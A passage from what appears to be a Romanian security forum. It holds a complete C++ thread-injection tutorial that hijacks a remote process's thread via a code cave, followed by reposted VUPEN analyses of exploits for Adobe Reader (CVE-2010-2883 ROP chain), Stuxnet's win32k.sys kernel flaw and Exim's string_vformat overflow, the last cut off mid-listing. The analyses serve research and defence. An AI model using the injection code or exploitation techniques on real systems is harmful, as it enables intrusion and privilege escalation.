Nytro

"Nu este disponibil". La fel ca multe altele si nu am idee de ce.

O sa punem si un nume, sa vedem ce: Luke Rstcenter | Facebook PS: Daca acea persoana e pe aici, o raog sa imi dea un mesaj privat.

Thread Injection By Nick Cano This tutorial for Thread Injection is intended for x86 processes. Due to slight differences in registers itwont work on x64 processes, but it can easily be converted. Introduction: Code-caving is the practice of injecting machine code into a remote process and making it execute. In this tutorial, I will cover a method of code-caving which I like to call thread injection. Thread injection is a seven step process. 1. Detect target process 2. Identify main thread 3. Suspend main thread 4. Obtain thread context 5. Create and write the code-cave 6. Spoof instruction pointer to execute the code-cave 7. Resume the thread, continue execution, and free memory Sursa: #include <iostream> #include <tchar.h> #include <windows.h> #include <WinNT.h> using namespace std; struct partialTIB { DWORD SEHFrame; DWORD StackTopPointer; DWORD StackBottomPointer; DWORD Unknown; DWORD FiberData; DWORD ArbitraryDataSlot; DWORD LinearAddressOfTIB; DWORD EnviromentPointer; DWORD ProcessID; DWORD CurrentThreadID; }; partialTIB GetProcessThreadInformation(DWORD procID) { DWORD pointerTID; _asm { MOV EAX, FS:[0x18] MOV [pointerTID], EAX } partialTIB TIB; HANDLE hProcess = OpenProcess(PROCESS_VM_READ, false, procID); ReadProcessMemory(hProcess, (LPVOID)pointerTID, &TIB, sizeof(partialTIB), NULL); CloseHandle(hProcess); return TIB; } HANDLE OpenAndSuspendThread(DWORD threadID) { DWORD ACCESS = THREAD_GET_CONTEXT | THREAD_SUSPEND_RESUME | THREAD_SET_CONTEXT; HANDLE thread = OpenThread(ACCESS, false, threadID); SuspendThread(thread); return thread; } LPVOID CreateCodeCave(HANDLE process, DWORD InstructPtr) { LPVOID codeCave = VirtualAllocEx(process, NULL, 6, MEM_COMMIT, PAGE_EXECUTE_READWRITE); DWORD push = 0x68; DWORD retn = 0xC3; WriteProcessMemory(process, codeCave, &push, 1, NULL); // "PUSH" opcode WriteProcessMemory(process, (LPVOID)((DWORD)codeCave+1), &InstructPtr, 4, NULL); //return address WriteProcessMemory(process, (LPVOID)((DWORD)codeCave+5), &retn, 4, NULL); //"RETN" opcode return codeCave; } CONTEXT RetriveThreadControlContext(HANDLE thread) { CONTEXT threadContext; threadContext.ContextFlags = CONTEXT_CONTROL; GetThreadContext(thread, &threadContext); return threadContext; } DWORD FindProcessByWindowName(char* windowName) { DWORD procID = NULL; HWND window = FindWindowA(NULL, windowName); if (window) GetWindowThreadProcessId(window, &procID); return procID; } int _tmain(int argc, _TCHAR* argv[]) { DWORD procID = NULL; while (!procID) { char windowTitle[128]; cout << "Enter the title of the window to inject the code into:" << endl; cin >> windowTitle; cout << endl; procID = FindProcessByWindowName(windowTitle); } partialTIB TIB = GetProcessThreadInformation(procID); cout << "Detected process: " << TIB.ProcessID << endl; cout << "Detected main thread: " << TIB.CurrentThreadID << endl; HANDLE thread = OpenAndSuspendThread(TIB.CurrentThreadID); CONTEXT threadContext = RetriveThreadControlContext(thread); cout << "Thread Instruction Pointer: " << threadContext.Eip << endl; HANDLE process = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, false, TIB.ProcessID); cout << "Writing codecave..." << endl; LPVOID codeCave = CreateCodeCave(process, threadContext.Eip); cout << "Codecave pointer: " << (DWORD)codeCave << endl; threadContext.Eip = (DWORD)codeCave; cout << "Spoofing EIP register..." << endl; threadContext.ContextFlags = CONTEXT_CONTROL; SetThreadContext(thread, &threadContext); cout << "Resuming thread..." << endl; ResumeThread(thread); cout << "DONE!" << endl; Sleep(2000); VirtualFreeEx(process, codeCave, 6, MEM_DECOMMIT); CloseHandle(process); CloseHandle(thread); while (true) Sleep(100); return 0; } Online: https://docs.google.com/viewer?a=v&pid=explorer&chrome=true&srcid=0ByoMFI63ZLfPZjZhNmIxMWYtNDc5Mi00ODBjLWI2MTctYTllMTU2Y2VjOTBl&hl=en_US Download: http://www.megaupload.com/?d=IGI5K7J5 http://www.mediafire.com/?qlv1dncu7ial8bp

Sunt trei Technical Analysis: - VUPEN Vulnerability Research Blog - Technical Analysis of the Adobe Acrobat / Reader 0-Day Exploit CVE-2010-2883 - VUPEN Vulnerability Research Blog - Technical Analysis of the Stuxnet Windows Win32K.sys Keyboard Layout 0-Day Exploit CVE-2010-2743 - VUPEN Vulnerability Research Blog - Technical Analysis of Exim "string_vformat()" Remote Buffer Overflow Vulnerability CVE-2010-4344 Criminals Are Getting Smarter: Analysis of the Adobe Acrobat / Reader 0-Day Exploit Published on 2010-09-09 16:32:21 UTC by Nicolas Joly, Security Researcher @ VUPEN Hi everyone, We would like to share some interesting details based on our in-depth analysis of the recent Adobe Acrobat/Reader 0-Day exploit (CVE-2010-2883). Here at VUPEN, we analyze a lot of vulnerabilities and 0days and we create quite sophisticated exploits targeting various applications and operating systems. During the last few months, we have created a large number of Adobe Reader exploits and many of them defeated DEP. So why is this particular 0day exploit so interesting? Because it bypasses DEP and ASLR by using impressive tricks and unusual methods that we have not seen often in the wild. As some of you may know, the malicious PDF takes advantage of an unsecure "strcat()" call in "CoolType.dll", which results in a common stack overflow. The vulnerable function is reached when a PDF document embeds a font with a specific table. .text:0803DCF9 push ebp .text:0803DCFA sub esp, 104h .text:0803DD00 lea ebp, [esp-4] .text:0803DD04 mov eax, dword_8230FB8 .text:0803DD09 xor eax, ebp .text:0803DD0B mov [ebp+108h+var_4], eax .text:0803DD11 push 4Ch .text:0803DD13 mov eax, offset loc_8184A54 .text:0803DD18 call __EH_prolog3_catch // set up an SE handler .text:0803DD1D mov eax, [ebp+108h+arg_C] .text:0803DD23 mov edi, [ebp+108h+arg_0] .text:0803DD29 mov ebx, [ebp+108h+arg_4] .text:0803DD2F mov [ebp+108h+var_130], edi .text:0803DD32 mov [ebp+108h+var_138], eax When a font with a SING table is found, the following instructions are reached: .text:0803DD74 push offset aSing ; "SING" .text:0803DD79 push edi ; int .text:0803DD7A lea ecx, [ebp+108h+var_12C] .text:0803DD7D call sub_8021B06 ... .text:0803DD9F loc_803DD9F: .text:0803DD9F add eax, 10h .text:0803DDA2 push eax // long string following the SING table .text:0803DDA3 lea eax, [ebp+108h+Dest] .text:0803DDA6 push eax // ~256 bytes stack buffer .text:0803DDA7 mov [ebp+108h+Dest], 0 .text:0803DDAB call strcat // insecure! To exploit such bugs, an exploit writer usually overwrites a return address or an SE handler, but at first sight it does not seem feasible here. A stack cookie prevents the return address from being exploited and an SE handler is set when the function is entered, which gives the following stack: | SE | | NEXT SE | | DEST | <-- vulnerable buffer | ... | | COOKIE | | EBP | | RET ADD | As we can see, if you try to overwrite the return address you get killed by the cookie. And if you try to trigger an exception while writing data off the stack, you get caught by the SE handler and then by the cookie. These solutions are clearly not interesting here. As a solution, you can try to overwrite an argument or a variable defined in the caller. That's precisely what was done by the attacker. When trying to overwrite the stack, a first crash occurs in BIB.dll. This is because the next called function is using an overwritten argument: .text:0803DDB0 pop ecx .text:0803DDB1 pop ecx .text:0803DDB2 lea eax, [ebp+108h+Dest] .text:0803DDB5 push eax .text:0803DDB6 mov ecx, ebx // ebx actually points to arg_4, which is overwritten .text:0803DDB8 call sub_8001243 And then: .text:070013F7 lea eax, [ecx+1Ch] // ecx = [arg_4] .text:070013FA mov [ebp+var_8], eax .text:070013FD mov eax, [ebp+var_8] .text:07001400 lock dec dword ptr [eax] // first crash here If an incorrect address is specified, an exception is first triggered at 0x07001400, and then caught by the SE handler which eventually crashes Adobe Acrobat/Reader. Wrong turn. So a valid pointer here must be set. This basically allows the attacker to decrement an arbitrary dword in memory, which can be useful indeed (e.g. CVE-2008-4812), but even with this, it is still difficult to forge an exploit to bypass DEP and ASLR. The salvation (for the attacker) came from sub_8016BDE, which takes two pointers to stack arguments: .text:0803DEA9 loc_803DEA9: .text:0803DEA9 .text:0803DEA9 lea eax, [ebp+108h+var_124] .text:0803DEAC push eax .text:0803DEAD push ebx .text:0803DEAE push edi // ebx and edi point to arg_4 and arg_0 .text:0803DEAF call sub_8016BDE This function actually calls sub_801BB1C with arg_0 which returns 0 or a pointer. If 0 is returned, the jump at 0x080172CE is taken and the function is exited. However if a pointer is returned, sub_801BB21 (which also uses arg_0 as a parameter) is called. .text:08016C2B push edi .text:08016C2C mov [ebp+664h+var_668], ebx .text:08016C2F mov [ebp+664h+var_694], ebx .text:08016C32 mov [ebp+664h+var_678], ebx .text:08016C35 call sub_801BB1C // return 0 or a pointer .text:08016C3A cmp eax, ebx .text:08016C3C pop ecx .text:08016C3D mov [ebp+664h+var_67C], eax .text:08016C40 jz loc_80172CE .text:08016C46 push 1 .text:08016C48 push ebx .text:08016C49 push ebx .text:08016C4A lea eax, [ebp+664h+var_678] .text:08016C4D push eax .text:08016C4E lea eax, [ebp+664h+var_694] .text:08016C51 push eax .text:08016C52 push edi .text:08016C53 push [ebp+664h+var_67C] .text:08016C56 call sub_801BB21 // this call must be reached Let's see what is executed by sub_801BB1C: .text:0801BA57 mov eax, dword_823A728 .text:0801BA5C test eax, eax // the attacker does not control this pointer .text:0801BA5E jz short locret_801BA73 .text:0801BA60 mov ecx, [esp+arg_0] // however ecx may point to a controlled dword .text:0801BA64 mov ecx, [ecx+4] .text:0801BA67 .text:0801BA67 loc_801BA67: .text:0801BA67 cmp ecx, [eax+4] .text:0801BA6A jz short locret_801BA73 .text:0801BA6C mov eax, [eax+8] .text:0801BA6F test eax, eax .text:0801BA71 jnz short loc_801BA67 .text:0801BA73 .text:0801BA73 locret_801BA73: .text:0801BA73 .text:0801BA73 retn Basically ecx must equal [eax+4] to make this function return something other than NULL. So which values are pointed by eax + 4? 0x0000006c 0x0000006b 0x00000070 0x0000006f 0x0000006d Remember that since a strcat is exploited, null bytes cannot be used! Initially arg_0 + 4 points to 0x0000006D which means this value must not be touched and thus a limited amount of bytes should be copied on the stack. That's why the author of this exploit did not overwrite the whole stack but only a part. Finally sub_801BB21 and sub_808B116 are entered: .text:0808B2E3 mov eax, [edi+3Ch] // edi = arg_0, but edi + 3Ch points to a stack pointer, // itself pointing to a controlled value .text:0808B2E6 cmp eax, ebx .text:0808B2E8 mov [esi+2F4h], eax .text:0808B2EE mov [esi+2F8h], ebx .text:0808B2F4 mov [ebp+var_4], ebx .text:0808B2F7 jnz short loc_808B300 .text:0808B2F9 .text:0808B2F9 loc_808B2F9: .text:0808B2F9 xor al, al .text:0808B2FB jmp loc_808B594 .text:0808B300 .text:0808B300 loc_808B300: .text:0808B300 lea ecx, [ebp+var_4] .text:0808B303 push ecx .text:0808B304 push ebx .text:0808B305 push 3 .text:0808B307 push eax .text:0808B308 call dword ptr [eax] // EIP is redirected here The story could end there, but the ROP sequence used is technically uncommon. Reader uses icucnv36.dll which does not change across versions (at least since Reader 9.2.0) and does not support ASLR. An exploit writer can then base his ROP on this DLL to target Reader versions >= 9.20 with the same malicious PDF file, and this library was used by the attacker. While this DLL seems interesting, it does not import VirtualAlloc, VirtualProtect, HeapCreate, WriteMemory or even a LoadLibrary, which complicates exploitation. However, the attacker did find and use other functions: 4A84903C CreateFileA // create the file iso88591 4A849038 CreateFileMappingA // attrib RWE 4A849030 MapViewOfFile // load this file in memory with RWE flags 4A849170 memcpy // copy the payload The idea of the attacker was to spray the heap with a ROP pattern, followed by the shellcode. It first creates a file (iso88591) on disk, loads it with RWE attributes, copies the payload in memory and eventually executes the shellcode. The exploit first sets esp to point to the spray with: .text:4A80CB38 add ebp, 794h .text:4A80CB3E leave .text:4A80CB3F retn followed by: .text:4A82A714 pop esp // esp = 0x08852030 .text:4A82A715 retn 0x08852030 actually points to a heap spray which consists in the same ROP address repeated, to make a stack spray: .text:4A801064 retn It is then followed by ROP addresses to map an executable page. Addresses are typically popped to eax and functions are called with: .text:4A80B692 jmp dword ptr [eax] You can also notice that dynamic arguments are written to the stack thanks to: .text:4A80A8A6 and dword ptr [2*ebx + esp], edi .text:4A80A8A9 jnz short loc_4A80A8AE ... .text:4A80A8AE loc_4A80A8AE: .text:4A80A8AE cmp al, 2Fh .text:4A80A8B0 jz short loc_4A80A8AB .text:4A80A8B2 cmp al, 41h .text:4A80A8B4 jl short loc_4A80A8BA ... .text:4A80A8C8 loc_4A80A8C8: .text:4A80A8C8 .text:4A80A8C8 xor al, al .text:4A80A8CA retn In the end, it calls memcpy and jumps to the payload, leading to arbitrary code execution despite DEP and ASLR. It is unclear whether this vulnerability was found by fuzzing or static analysis. However, it seems clear that the one who designed the exploit has good knowledge of Acrobat and LiveCycle, Javascript and ROP and obviously knows how to use a debugger. In fact, because of a single DLL, we have here a typical example of something able to help attackers to target, with the same exploit file, multiple versions of a vulnerable application, on multiple systems (Windows XP, Vista, 7), and despite the common security measures. Note that this kind of insecure DLLs also exist in major Microsoft products... Technical Analysis of the Windows Win32K.sys Keyboard Layout Stuxnet Exploit Published on 2010-10-18 12:53:38 UTC by Sebastien Renaud, Security Researcher @ VUPEN Hi everyone, This time we will share very interesting technical details on how Stuxnet authors have achieved reliable code execution while exploiting one of the two Windows privilege escalation 0-Day vulnerabilities. This one was patched last week with the MS10-073 update, and a remaining Task Scheduler vulnerability is still unpatched. While we deeply analyzed Stuxnet and its behaviors, we will not explain its architecture or features as two detailed documents have already been published by our friends from Symantec and ESET. We will focus here on the Windows Win32K.sys keyboard layout vulnerability (CVE-2010-2743) and how it was exploited by Stuxnet using custom Portable Executable (PE) parsing tricks to achieve a reliable code execution. 1. Technical Analysis of the Vulnerability This specific vulnerability exists within the Windows kernel-mode driver "win32k.sys" that does not properly index a table of function pointers when loading a keyboard layout from disk. Usually keyboard layout files are loaded through the "LoadKeyboardLayout()" function which is a wrapper around the "NtUserLoadKeyboardLayoutEx()" win32k syscall. Below is a kernel stack trace when loading a keyboard layout file: kd> kn # ChildEBP RetAddr 00 b0982944 bf861cd1 win32k!SetGlobalKeyboardTableInfo 01 b0982958 bf889720 win32k!ChangeForegroundKeyboardTable+0x11c 02 b0982978 bf87580e win32k!xxxSetPKLinThreads+0x37 03 b09829f0 bf875588 win32k!xxxLoadKeyboardLayoutEx+0x395 04 b0982d40 8053d658 win32k!NtUserLoadKeyboardLayoutEx+0x164 05 b0982d40 7c90e514 nt!KiFastCallEntry+0xf8 06 0012fccc 00402347 ntdll!KiFastSystemCallRet ; (transition from user to kernel) Once a crafted file is loaded by the Win32K kernel driver, the malware sends an event to the keyboard input stream to effectively trigger the vulnerability. This was achieved by calling the "user32!SendUserInput()" function which, in turn, calls "win32k!NtUserSendInput()" and ultimately the "win32k!xxxKENLSProcs()" function: kd> kn # ChildEBP RetAddr 00 b0a5ac88 bf848c64 win32k!xxxKENLSProcs 01 b0a5aca4 bf8c355b win32k!xxxProcessKeyEvent+0x1f9 02 b0a5ace4 bf8c341b win32k!xxxInternalKeyEventDirect+0x158 03 b0a5ad0c bf8c3299 win32k!xxxSendInput+0xa2 04 b0a5ad50 8053d658 win32k!NtUserSendInput+0xcd 05 b0a5ad50 7c90e514 nt!KiFastCallEntry+0xf8 06 0012fd08 7e42f14c ntdll!KiFastSystemCallRet 07 0012fd7c 00401ded USER32!NtUserSendInput+0xc WARNING: Stack unwind information not available. Following frames may be wrong. 08 0012fdac 00401331 CVE_2010_2743+0x1ded Inside the "win32k!xxxKENLSProcs()" function, the Win32K driver retrieves a byte from the keyboard layout file which was previously loaded. This byte is set into the ECX register and then used as an index in an array of function pointers: ; In win32k!xxxKENLSProcs() function starting at 0xBF8A1F9C ; Module: win32k.sys - Module Base: 0xBF800000 - version: 5.1.2600.6003 ; .text:BF8A1F50 movzx ecx, byte ptr [eax-83h] // ECX is attacker-controlled .text:BF8A1F57 push edi .text:BF8A1F58 add eax, 0FFFFFF7Ch .text:BF8A1F5D push eax .text:BF8A1F5E call _aNLSVKFProc[ecx*4] // indexed call in function array The aNLSVKFProc function array contains three functions and is followed by an array of byte values: .data:BF99C4B8 _aNLSVKFProc dd offset _NlsNullProc@12 .data:BF99C4BC dd offset _KbdNlsFuncTypeNormal@12 .data:BF99C4C0 dd offset _KbdNlsFuncTypeAlt@12 .data:BF99C4C4 _aVkNumpad db 67h .data:BF99C4C5 db 68h .data:BF99C4C6 db 69h .data:BF99C4C7 db 0FFh .data:BF99C4C8 db 64h .data:BF99C4C9 db 65h .data:BF99C4CA db 66h .data:BF99C4CB db 0FFh .data:BF99C4CC db 61h .data:BF99C4CD db 62h .data:BF99C4CE db 63h .data:BF99C4CF db 60h .data:BF99C4D0 db 6Eh .data:BF99C4D1 db 0 .data:BF99C4D2 db 0 .data:BF99C4D3 db 0 [...] If an index value greater than 2 is supplied, the code will treat data in the byte array as pointers. If the index has a value of 5, the code in the "win32k!xxxKENLSProcs()" function will call the pointer at 0xBF99C4CC, which means that the code flow is redirected to 0x60636261. kd> dds win32k!aNLSVKFProc L6 bf99c4b8 bf9332ca win32k!NlsSendBaseVk // index 0 bf99c4bc bf93370c win32k!KbdNlsFuncTypeNormal // index 1 bf99c4c0 bf933752 win32k!KbdNlsFuncTypeAlt // index 2 bf99c4c4 ff696867 // index 3 bf99c4c8 ff666564 // index 4 bf99c4cc 60636261 // index 5 [...] As this address could be controlled from userland, an attacker can place a ring0 shellcode at this address to achieve code execution with kernel privileges. 2. Reliable Code Execution via PE Parsing To get a reliable code execution with different versions of the "win32k.sys" driver while the aNLSVKFProc function array is not exported, Stuxnet authors had to ensure that the indexed data outside the aNLSVKFProc array will always be valid a pointer that can controlled from userland, and used in the "call" instruction. To achieve this task the Stuxnet exploit parses the Win32K.sys file and does the following: - Loads the win32K.sys file as a flat data file - Gets some information from the PE header (number of sections, export and import data directories, etc.) - Gets Timestamp info - Gets .data section VA - Gets .data section information - Gets .text VA - Gets .text section information - Searches for a specific binary signature - Searches for the NLSVKFProcs function array Stuxnet uses a binary signature which is present in all "win32K.sys" driver versions (on Windows 2000 and Windows XP) whatever service packs or patches are installed on the target system. This signature corresponds to the first 8 bytes of the "aulShiftControlCvt_VK_IBM02" variable (not exported), located in the .data section of the binary file: .data:BF99C4DC _aulShiftControlCvt_VK_IBM02 .data:BF99C4DC db 91h .data:BF99C4DD db 0 .data:BF99C4DE db 3 .data:BF99C4DF db 1 .data:BF99C4E0 db 90h .data:BF99C4E1 db 0 .data:BF99C4E2 db 13h .data:BF99C4E3 db 1 This signature is known to be: - Present in all versions of Win32K drivers - Unique - Near the aNLSVKFProc function array Once this signature is found, the malware uses an arbitrary range of - 1000 to +1000 bytes from the signature and starts searching for a pointer to the code section of the driver. In the example below, the pointer at 0xBF99C478 (0xBF9332CA) is a pointer to the code section: .data:BF99C470 07 00 00 00 00 00 00 00 CA 32 93 BF 59 1D 96 BF .data:BF99C480 CA 32 93 BF D5 32 93 BF 0D 35 93 BF 80 38 93 BF The above data dump looks like this when viewed from a code perspective: .data:BF99C470 _fNlsKbdConfiguration db 7 .data:BF99C471 align 8 .data:BF99C478 _aNLSKEProc dd offset _NlsNullProc@12 .data:BF99C47C off_BF99C47C dd offset _NlsLapseProc@12 .data:BF99C480 dd offset _NlsNullProc@12 [...] When such a pointer is found, the malware applies the following algorithm to a particular pointer (remember that the code is currently stopped at 0xBF99C478, which we call "pLoc"): - pLoc[0] and pLoc[2] must be the same pointers: .data:BF99C478 _aNLSKEProc dd offset _NlsNullProc@12 .data:BF99C47C off_BF99C47C dd offset _NlsLapseProc@12 .data:BF99C480 dd offset _NlsNullProc@12 - pLoc[0] and pLoc[1] must not be the same pointers. .data:BF99C478 _aNLSKEProc dd offset _NlsNullProc@12 .data:BF99C47C off_BF99C47C dd offset _NlsLapseProc@12 .data:BF99C480 dd offset _NlsNullProc@12 - pLoc[0] and pLoc[4] must not be the same pointers. .data:BF99C478 _aNLSKEProc dd offset _NlsNullProc@12 .data:BF99C47C off_BF99C47C dd offset _NlsLapseProc@12 .data:BF99C480 dd offset _NlsNullProc@12 .data:BF99C484 dd offset _NlsSendParamVk@12 At that point, the malware knows that it may have found "_aNLSKEProc". For this, it checks if the pointer at this address is really a pointer to the NlsNullProc() function by searching for a RETN 0C instruction (opcodes: 0xC20C) in the very first bytes of the function: .text:BF9332CA ; __stdcall NlsNullProc(x, x, x) .text:BF9332CA _NlsNullProc@12 proc near .text:BF9332CA xor eax, eax .text:BF9332CC inc eax .text:BF9332CD retn 0Ch // opcodes: 0xC2 0x0C .text:BF9332CD _NlsNullProc@12 endp Below is an excerpt of the Stuxnet malware doing this opcode search: CPU Disasm 10002C5F PUSH 2 10002C61 ADD ECX,DWORD PTR SS:[LOCAL.5] // ecx points to func. code 10002C64 |XOR EAX,EAX 10002C66 |POP EDI // edi = 2 10002C67 |/TEST EAX,EAX 10002C69 ||JNE SHORT 10002C7E 10002C6B ||CMP WORD PTR DS:[ECX+EDI],0CC2 // c2 0c => RETN 0c 10002C71 ||SETE AL // set AL on condition 10002C74 ||INC EDI 10002C75 ||CMP EDI,0A // check only for the first 8 bytes 10002C78 |\JB SHORT 10002C67 If the "RETN 0C" code is found, the code is currently located on the _aNLSKEProc variable (0xBF99C478): .data:BF99C478 _aNLSKEProc dd offset _NlsNullProc@12 From there, the code searches for and goes to the next "NlsNullProc()" function pointer: .data:BF99C4B0 dd offset _NlsKanaEventProc@ .data:BF99C4B4 dd offset _NlsConvOrNonConvProc@12 .data:BF99C4B8 _aNLSVKFProc: .data:BF99C4B8 dd offset _NlsNullProc@12 .data:BF99C4BC dd offset _KbdNlsFuncTypeNormal@ .data:BF99C4C0 dd offset _KbdNlsFuncTypeAlt@12 As we can see, it founds the non-exported aNLSVKFProc function array. To ensure this is the right variable, the malware does two more checks: - Pointer at +2 cannot be NlsNullProc: .data:BF99C4B0 dd offset _NlsKanaEventProc@ .data:BF99C4B4 dd offset _NlsConvOrNonConvProc@12 .data:BF99C4B8 _aNLSVKFProc: .data:BF99C4B8 dd offset _NlsNullProc@12 .data:BF99C4BC dd offset _KbdNlsFuncTypeNormal@ .data:BF99C4C0 dd offset _KbdNlsFuncTypeAlt@12 - Pointer at -2 canot be NlsNullProc: .data:BF99C4B0 dd offset _NlsKanaEventProc@ .data:BF99C4B4 dd offset _NlsConvOrNonConvProc@12 .data:BF99C4B8 _aNLSVKFProc: .data:BF99C4B8 dd offset _NlsNullProc@12 .data:BF99C4BC dd offset _KbdNlsFuncTypeNormal@ .data:BF99C4C0 dd offset _KbdNlsFuncTypeAlt@12 Once all these checks are passed, the malware is now pretty sure that it is on aNLSVKFProc. It then checks starting from the function array for the first user-mode pointer: CPU Disasm 10002B35 MOV EDI,10000 // edi = 0x10000 10002B3A /MOV ECX,DWORD PTR SS:[ARG.2] // _aNLSVKFProc 10002B3D |MOVZX EAX,BL 10002B40 |MOV ESI,DWORD PTR DS:[EAX*4+ECX] // esi = _aNLSVKFProc[i] 10002B43 |CMP ESI,7FFF0000 // must be in user space 10002B49 |JNB SHORT 10002B91 10002B4B |CMP DWORD PTR SS:[ARG.6],0 10002B4F |JNE SHORT 10002B55 10002B51 |CMP ESI,EDI // must be above 0x10000 10002B53 |JB SHORT 10002B91 10002B55 |PUSH 1C 10002B57 |LEA EAX,[LOCAL.10] 10002B5A |PUSH EAX 10002B5B |PUSH ESI // pointer outside array 10002B5C |CALL DWORD PTR DS:[VirtualQuery_p] // get page information 10002B62 |CMP EAX,1C 10002B65 |JA SHORT 10002BA7 10002B67 |CMP DWORD PTR SS:[LOCAL.6],EDI // is it a MEM_FREE page? 10002B6A |JNE SHORT 10002B91 10002B6C |PUSH 40 10002B6E |PUSH 3000 10002B73 |LEA EAX,[LOCAL.3] 10002B76 |PUSH EAX 10002B77 |PUSH 0 10002B79 |LEA EAX,[LOCAL.1] 10002B7C |PUSH EAX 10002B7D |MOV DWORD PTR SS:[LOCAL.1],ESI 10002B80 |CALL DWORD PTR DS:[GetCurrentProcess_p] 10002B86 |PUSH EAX 10002B87 |CALL DWORD PTR DS:[NtAllocateVirtualMemory_p] // alloc page 10002B8D |TEST EAX,EAX 10002B8F |JE SHORT 10002BB0 10002B91 |INC BL 10002B93 |CMP BL,0FF // i <= 255 10002B96 \JBE SHORT 10002B3A The above code snippet, extracted from Stuxnet, extracts pointers from the table (even outside the table) and checks if the pointer is below 0x7FFF0000 (first address outside userland addresses) and above 0x10000. The code checks if the page is not already mapped. If it is not, the page is allocated. In our example, this would lead to allocate the page containing the address 0x60636261: kd> dds win32k!aNLSVKFProc L6 bf99c4b8 bf9332ca win32k!NlsSendBaseVk // index 0 bf99c4bc bf93370c win32k!KbdNlsFuncTypeNormal // index 1 bf99c4c0 bf933752 win32k!KbdNlsFuncTypeAlt // index 2 bf99c4c4 ff696867 // index 3 bf99c4c8 ff666564 // index 4 bf99c4cc 60636261 // index 5 [...] Once the page is allocated, the malware does the following: - Copies a shellcode to that address (0x60636261). - Saves the malicious index (5 in our example) in a keyboard layout file. - Loads the layout file and sends the input event to trigger the vulnerability This last step leads to "win32k!xxxKENLSProcs()" and to the indexed call, leading to arbitrary code execution of the shellcode with kernel privileges. ; In win32k!xxxKENLSProcs() function starting at 0xBF8A1F9C ; Module: win32k.sys - Module Base: 0xBF800000 - version: 5.1.2600.6003 ; .text:BF8A1F50 movzx ecx, byte ptr [eax-83h] // ECX = 5 .text:BF8A1F57 push edi .text:BF8A1F58 add eax, 0FFFFFF7Ch .text:BF8A1F5D push eax .text:BF8A1F5E call _aNLSVKFProc[ecx*4] // Call 0x60636261 As we can see, the custom PE parsing used in Stuxnet ensures that whatever the operating system is (2000 or XP) and the service packs or patches are installed, the function array can be reliably found and the vulnerability exploited. This method could be improved or implemented differently, but it does its job as expected and it demonstrates, once again, that malware authors are getting smarter. Technical Analysis of Exim "string_vformat()" Buffer Overflow Vulnerability Published on 2010-12-21 15:16:26 UTC by Matthieu Bonetti, Security Researcher @ VUPEN Hi everyone, An interesting vulnerability (CVE-2010-4344) was recently exploited in the wild to remotely and fully compromise systems where the Exim message transfer agent is installed. While the vulnerability itself is simple, creating a reliable code execution exploit involves precise calculations. A reliable exploit was first released by jduck1337, and other (less reliable) codes have followed on the web. In this blog, we will share our binary analysis of the vulnerability and how we achieved reliable exploitation. 1. Technical Analysis of the Vulnerability The vulnerability results from a buffer overflow error within the "string_vformat()" function when processing malformed email messages and headers. Exim uses various custom functions to handle strings, they can be found in the "exim-4.69/src/string.c" file. One of them is "string_vformat()" and it works as follows : - a pointer "p" is set to buffer - a pointer "last" is set to buffer + buflen - 1 1066 BOOL 1067 string_vformat(uschar *buffer, int buflen, char *format, va_list ap) 1068 { 1069 enum { L_NORMAL, L_SHORT, L_LONG, L_LONGLONG, L_LONGDOUBLE }; 1070 1071 BOOL yield = TRUE; 1072 int width, precision; 1073 char *fp = format; /* Deliberately not unsigned */ 1074 uschar *p = buffer; 1075 uschar *last = buffer + buflen - 1; 1076 1077 string_datestamp_offset = -1; /* Datestamp not inserted */ Then, two variables "width" and "precision" are set to -1: 1102 item_start = fp; 1103 width = precision = -1; 1104 1105 if (strchr("-+ #0", *(++fp)) != NULL) The supplied argument "format" is evaluated. If a %s is encountered, the following steps are achieved: - First, the length of buffer is calculated using "strlen()" and not buflen - Then, if width is negative and if precision is negative: width and precision are set to the buffer length resulting from "strlen()" 1238 case 'S': /* Forces *lower* case */ 1239 s = va_arg(ap, char *); 1240 1241 INSERT_STRING: /* Come to from %D above */ 1242 if (s == NULL) s = null; 1243 slen = Ustrlen(s); 1244 1245 /* If the width is specified, check that there is a precision 1246 set; if not, set it to the width to prevent overruns of long 1247 strings. */ 1248 1249 if (width >= 0) [?] 1256 1257 else if (precision >= 0) [?] 1263 1264 else width = precision = slen; 1265 1266 /* Check string space, and add the string to the buffer if ok. If "p" is larger than "last - width", the two variables width and precision are changed. 1267 not OK, add part of the string (debugging uses this to show as 1268 much as possible). */ 1269 1270 if (p >= last - width) 1271 { 1272 yield = FALSE; 1273 width = precision = last - p - 1; 1274 } Once done, width and precision are used with the "sprint()" function. The content of the buffer is copied until a NULL byte is encountered or the width and precision are reached. 1275 sprintf(CS p, "%*.*s", width, precision, s); 1276 if (fp[-1] == 'S') 1277 while (*p) { *p = tolower(*p); p++; } 1278 else 1279 while (*p) p++; To fully understand the internals of the "string_vformat()" function, let's use it with the following arguments: - string_vformat(buffer, 3, "%c %s", ap) ap is a va_list containing a character and a long string: "looooooooooong buffer" for example. First, p and last are set: - p points to buffer which is at 0x08CCC965 for example - last points to 0x08CCC965 + 3 - 1 = 0x08CCC967 Then, "%c" is treated and p is increased by the size of a char and a space: p = 0x08CCC965 + 2 = 0x08CCC967 Then width and precision are set to -1. "%s" is then treated: - slen is set to 21 (using strlen()). - width and precision are set to 21 as they were negative. The last minus the new width becomes smaller than p: 0x08CCC967 - 21 = 0x08ccc952 0x08CCC967 > 0x8ccc952 The variables width and precision are changed: width = precision = last - p - 1 width = precision = 0x08CCC967 - 0x08CCC967 - 1 width = precision = -1 When the "sprintf()" function is called, the long string is copied with a width and a precision of 0xFFFFFFFF. The full content of the long string in the va_list is copied despite the size limit of 3. This leads to a heap-based buffer overflow. This behavior can be seen from the assembly code as well. First, p and last are set: .text:080A99E9 mov edx, [ebp+buffer] // p .text:080A99EC mov eax, [ebp+buflen] .text:080A99EF mov ecx, [ebp+format] .text:080A99F2 mov string_datestamp_offset, 0FFFFFFFFh .text:080A99FC mov edi, edx .text:080A99FE lea eax, [edx+eax-1] .text:080A9A02 mov [ebp+last], eax // last .text:080A9A05 sub eax, 1 .text:080A9A08 mov [ebp+src], ecx .text:080A9A0B mov [ebp+yield], 1 .text:080A9A12 mov [ebp+last_minus_one], eax // last-1, used later .text:080A9A15 jmp short loc_80A9A2F When %s is handled, the length of the string in the va_list is calculated using "strlen()": .text:080A9DE8 loc_80A9DE8: .text:080A9DE8 mov [esp], ebx // long string .text:080A9DEB call _strlen .text:080A9DF0 mov edx, [ebp+width] .text:080A9DF3 test edx, edx .text:080A9DF5 js loc_80A9F30 [?] .text:080A9F30 loc_80A9F30: 